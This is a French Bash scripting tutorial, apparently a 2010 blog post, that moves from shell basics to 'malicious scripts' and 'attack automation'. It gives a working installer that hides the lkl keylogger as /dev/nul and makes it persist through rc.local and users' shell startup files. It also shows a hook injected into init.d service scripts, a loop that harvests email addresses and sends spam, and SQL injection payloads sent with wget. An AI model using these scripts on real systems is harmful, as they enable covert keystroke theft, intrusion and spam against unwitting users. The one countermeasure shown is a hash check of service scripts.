0x01. QUELQUES RAPPELS
Il doit y avoir l'entête #!/bin/bash pour les scripts bash, pour que la commande file retiourne le bon type de fichier.
# Attribution d une valeur à une variable VAR=1 # Opération numérique VAR=$((VAR+1)) # Tableaux VAR="1234EFG" echo $VAR[0] # Affiche: 1 echo $VAR[1] # Affiche: 1 echo $VAR[2] # Affiche: 2 VAR[1]=$((VAR[1]+VAR[2])) # echo $VAR[1] # Affiche: 1+2 = 3 # Accolades A=1 ; B=2 ; C=3 echo ${A} # Affiche 1 echo ${A+B} # Affiche B / echo ${A-B} # Affiche 1 (A) / retire B echo ${C=A} # Affiche 3 (C) / identifie C # Evaluation A="ls -l /home" B=$($A) echo $B # Affiche le contenu de home # sur une ligne C=`cut -d':' -f1 /etc/passwd` # La liste des utilisateurs echo $C # et l affiche
Petite astuce, pour naviguer entre plusieurs dossier, il est utile de garder les dossiers quelque part en mémoire, soit dans des variables, soit dans la pile.
# Par les variables... nicolas@portable:~$ cd /pentest/enumeration/dns/dns-bruteforce nicolas@portable:dns-bruteforce$ C1=$PWD nicolas@portable:dns-bruteforce$ cd /usr/share/ettercap nicolas@portable:ettercap$ C2=$PWD nicolas@portable:ettercap$ cd "$C1" nicolas@portable:dns-bruteforce$ cd "$C2" nicolas@portable:ettercap$ # ...par la pile nicolas@portable:~$ pushd /pentest/enumeration/dns/dns-bruteforce nicolas@portable:dns-bruteforce$ pushd /usr/share/ettercap nicolas@portable:ettercap$ popd nicolas@portable:dns-bruteforce$ popd nicolas@portable:~$
Pour connaitre les variables d'environnement il suffit de taper à l'invité de commande : env
Revoyons aussi, les conditions, nécessaire à l'utilisation avancée qu'on peut avoir d'une console :
# La condition suivante renvoie le code d erreur : [ "$CONDITION" ] # ET celle-ci renvoie 0 s il n y a pas d erreur sinon 1 [[ "$CONDITION" ]] # Puis la condition en tant que telle : if-then-fi if [ ... ] ; then ; [ instructions ] ; fi # Récapitulatif des conditions de comparaison : -gt > -ge >= -lt < -lt <= -eq = # Exemple : [ $nombre -eq 1 ] && echo $((nombre+1)) [ "$chaine" = "str" ] && echo "Ok" # Les conditions d existance : -d dossier -x exécutable -f fichier # Exemple : [ -f "$fichier" ] && echo "Le fichier existe" # Sous-instructions : [ "$COND" ] && ( commande1 ; commande2 ) # /!/ La fonction 'exit' dans ces sous-instructions ne sort pas du programme # tout du moins, sous Bash. # Conditions multilples : if [ "$COND1" ] ; then elif [ "$COND2" ] ; then $ACTIONS fi fi case "$VAR" in "val1") "$ACTION1" ;; "val2") "$ACTION2" ;; "val3") "$ACTION3" ;; esac
Les boucles :
# Boucles FOR for i in $(seq 1 10) ; do echo $i ; done for i in $(seq 1 10) do echo $i done # Boucles WHILE i=0 ; while [ $i -lt 10 ] ; do i=$((i+1)) ; echo $i ; done i=0 while [ $i -lt 10 ] do i=$((i+1)) echo $i done
Les fonctions :
function MaFonction() { # Les parametres sont comme pour un script Bash echo "Parametres : $*" } # Les parantheses sont facultatives function MaFonction { # Les paramètres sont comme pour un script Bash echo "Parametres : $*" # Sort du script/programme exit 1 } # Les fonctions peuvent retourner un code d erreur propre à elles function MaFonction { # Les parametres sont comme pour un script Bash echo "Parametres : $*" # Sort de la fonction avec son code d erreur return 1 }
0x02. SCRIPTS MALICIEUX
Quand on parle de virologie ou de virus, c'est à partir du moment oà un programme se reproduit en tout ou partie dans un autre, ou entre systèmes. Nous sommes donc en mesure de parler de "virus scriptés", dans la mesure oà un script en modifiera un autre. Le vecteur d'infection est défini par la transmission, ici une chaine de caractère.
Voici dans un premier temps une installation de lkl aussi discrète que possible. On peut alors parler d'infection puisque un fichier en modifie d'autres afin d'avoir un comportement modifié, ici surveiller l'activité au clavier.
#!/bin/bash # Définitions des variables # - fichier modifié, fichier de copie # - binaire, keymaps et log F="/tmp/.rc.local-$RANDOM" D="/etc/rc.local" B="/etc/.rc.local.copy" BIN="usr/bin/lkl" KEYMAPS="usr/share/lkl/keymaps/*" # Création des dossiers qui accueilleront les journaux et programmes # ------------------------------------------------------------------ cp -fv "$BIN" "/dev/nul" # Le programme mkdir -vp "/etc/fonts/conf.d/.keymaps/" # Dossier de cartes du clavier cp -rfv $KEYMAPS "/etc/fonts/conf.d/.keymaps/" # Cartes du clavier (fr, uk, ...) mkdir -vp "/etc/initramfs-tools/" # Les journaux LOG="/etc/initramfs-tools/.log" # Le fichier de journal # Modification du rc.local pour un démarrage automatique # ------------------------------------------------------ grep "//dev//nul" $D >/dev/null 2>&1 ; E=$? # Si 'lkl' n est pas encore installé if [ $E -ne 0 ] then cp $D $B # Démarrage par /etc/rc.local grep -v 'exit' /etc/rc.local > $F echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> $F # Démarrage par ouverture de session : bash, ksh, zsh, tcsh [ -f "$HOME/.bashrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.bashrc" [ -f "$HOME/.kshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.kshrc" [ -f "$HOME/.tcshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.tcshrc" [ -f "$HOME/.zshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.zshrc" echo 'exit 0' >> $F cp $F $D fi
Dans le genre plus vicieux, on peut aussi s'attaquer aux services déjà installés. En effet il est possible de crocheter la fonction de sortie pour qu'elle effectue une autre opération avant que le service ne se termine. C'est discrèt dans la mesure oà, rarement nous sommes ammenés à lire les scripts des services (/etc/init.d -ou- /etc/rc?.d) :
SERVICE="netatalk" TMP="$SERVICE$RANDOM" BKP=".$SERVICE$RANDOM" # On travaille d abord dans le fichier sauvegardé cp $SERVICE $TMP cp $SERVICE $BKP sed -i 's/exit/_exit/g' $TMP sed -i 's/__exit/_exit/g' $TMP # Ensuite on travaille le fichier pour y insérer notre hook ## On récupère à ce niveau, l entête du fichier : ## ligne shebang + les informations d initialisations ## BEGIN INIT INFO et END INIT INFO L=$(grep -n "END INIT INFO" $SERVICE | cut -d':' -f1) ## Extraction de l entete head -n $L $TMP > /tmp/entete_service ## Extraction du corps N=$(cat -n $TMP | tail -n 1 | awk {'print $1'}) tail -n $((N-L)) $TMP > /tmp/corps_service echo ' function _exit() { echo "*** function hooked: exit" # On peut mettre ici ce qu on veut... exit $* } ' > /tmp/hook_service cat /tmp/entete_service > $SERVICE cat /tmp/hook_service >> $SERVICE cat /tmp/corps_service >> $SERVICE rm -f /tmp/entete_service rm -f /tmp/hook_service rm -f /tmp/corps_service rm -f $TMP
Une solution qui peut être mise en place est de vérifier la somme de contrôle (hash) des fichiers de service :
# A exécuter en root, pour les hash de référence sha1sum /etc/init.d/* > /var/log/hash-services.ref.log # A exécuter périodiquement, dans le crontab par exemple sha1sum /etc/init.d/* > /tmp/hash-services diff /tmp/hash-services /var/log/hash-services.ref.log if [ $? -ne 0 ] ; then S=$(diff /tmp/hash-services /var/log/hash-services.ref.log | awk {'print $3'} | sort -u | tail | grep -E "[a-z]") echo -e "/e[1;31m * Le service a changé : $S" ; exit 1 fi exit 0
0x03. AUTOMATISATION D'ATTAQUES
La plus part des langages de scripting sont fait pour automatiser des opérations répétitives et donc pénibles à effectuer. Si ceci veut dire que par exemple trier un fichier contenant des dizaines de milliers de lignes, retrouver une chaine de caractère spécifique dans toute une liste de fichier, cela peut aussi vouloir dire que les audits de sécurité :
- bruteforce avec des mots de passe simples ou standard
- des injections SQL
- de la devinette de chemin (configurazion au lieu configuration...)
- renommer N fichiers en d'autres noms...
Bref, tout cela pour dire que n'importe quoi peu être automatisé. Par exemple, pour de la collecte d'adresse mail dans une page :
# Variables pour éviter de taper le nom du/des fichier(s) à chaque fois F=$RANDOM.tmp D="recup-mail.txt" # Télécharge une page Web en local wget "http://www.domaine.com/contact/" -O "$F" # Récupère les adresses mails grep -oE "([a-zA-Z/.])+?@([a-zA-Z/.])+/.([a-zA-Z]){2,3}" "$F" > "$D" echo 'MESSAGE DE SPAM' > MSG # Pour chaque adresse mail trouvée, on envoie un mail for m in $(cat "$D") ; do mail -s "Sujet" $m < MSG ; done
Pour les injections SQL, le process y ressemble :
# Pour l injection par requete HTTP GET : wget "http://www.domaine.com/?q=' OR ''='" -O "$F" grep -oE "$PATTERN" "$F" > /dev/null 2>&1 [ $? -eq 0 ] && echo "Injection OK !" rm -f "$F" # Pour l injection par requete HTTP POST : wget --post-data="q=' OR ''='" "http://www.domaine.com/" -O "$F" grep -oE "$PATTERN" "$F" > /dev/null 2>&1 [ $? -eq 0 ] && echo "Injection OK !" rm -f "$F"
Les boucles peuvent également servir à "fuzzer" une application, c'est à dire utiliser les paramètres d'une application dans le but de la faire planter :
for i in $(seq 200 300) do ./application $(python -c "print 'a'*$i") done
Maintenant il est claire que le Bash n'est pas suffisant pour coder un exploit, bien qu'il peut y apporter son soutient :
#!/bin/bash echo ' // Source de l exploit // sans le symbole utiliser par echo ' > /tmp/.exploit.c gcc /tmp/.exploit.c -o /tmp/exploit /tmp/exploit rm -f /tmp/exploit
0x04. CONCLUSION
Bien qu'un simple langage de script, le Bash, mais surtout avec les outils qui conviennent (grep, wget, curl, ...) font de l'environnement Unix, très maniable, bien plus que MSDOS.
=> Écrit par : Nicolas, le 22 novembre 2010